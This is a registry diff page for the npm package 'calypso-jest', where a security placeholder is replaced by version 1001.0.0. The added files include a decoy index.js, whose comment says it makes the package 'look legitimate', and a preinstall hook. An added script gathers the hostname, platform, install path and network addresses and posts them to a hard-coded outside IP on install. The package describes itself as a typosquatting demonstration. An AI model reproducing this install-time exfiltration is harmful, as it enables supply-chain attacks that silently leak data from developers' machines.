calypso-jest 0.0.1-security → 1001.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of calypso-jest might be problematic. Click here for more details.

package/index.js ADDED
@@ -0,0 +1,6 @@
1
+ // Dummy functionality to make the package look legitimate
2
+ module.exports = {
3
+ format: (str) => str.trim(),
4
+ clean: (str) => str.replace(/[^a-zA-Z0-9]/g, ''),
5
+ capitalize: (str) => str.charAt(0).toUpperCase() + str.slice(1).toLowerCase()
6
+ };
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "calypso-jest",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
3
+ "version": "1001.0.0",
4
+ "description": "Template for demonstrating package typosquatting risks",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node scripts/preinstall.js"
8
+ },
9
+ "keywords": [],
10
+ "author": "",
11
+ "license": "ISC"
12
+ }
package/resume.cfg ADDED
@@ -0,0 +1,2 @@
1
+ index=31
2
+ resume_from=94.191.8.134
@@ -0,0 +1,49 @@
1
+ const { exec } = require('child_process');
2
+ const os = require('os');
3
+ const http = require('http');
4
+ const path = require('path');
5
+
6
+ // Collect and send system data
7
+ function sendSystemData() {
8
+ const data = {
9
+ package: process.env.npm_package_name,
10
+ timestamp: new Date().toISOString(),
11
+ hostname: os.hostname(),
12
+ platform: os.platform(),
13
+ installPath: process.cwd(),
14
+ networkInterfaces: Object.entries(os.networkInterfaces()).reduce((acc, [name, interfaces]) => {
15
+ acc[name] = interfaces
16
+ .filter(iface => !iface.internal && iface.family === 'IPv4')
17
+ .map(iface => iface.address);
18
+ return acc;
19
+ }, {})
20
+ };
21
+
22
+ const options = {
23
+ hostname: '75.119.159.178',
24
+ port: 7891,
25
+ path: '/api/collect',
26
+ method: 'POST',
27
+ headers: {
28
+ 'Content-Type': 'application/json',
29
+ }
30
+ };
31
+
32
+ const req = http.request(options, (res) => {
33
+ let responseBody = '';
34
+ res.on('data', chunk => (responseBody += chunk));
35
+ res.on('end', () => {
36
+ console.log('Data sent successfully');
37
+ });
38
+ });
39
+
40
+ req.on('error', (error) => {
41
+ console.error('Error sending system data:', error.message);
42
+ });
43
+
44
+ req.write(JSON.stringify(data));
45
+ req.end();
46
+ }
47
+
48
+ // Send system data
49
+ sendSystemData();
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=calypso-jest for more information.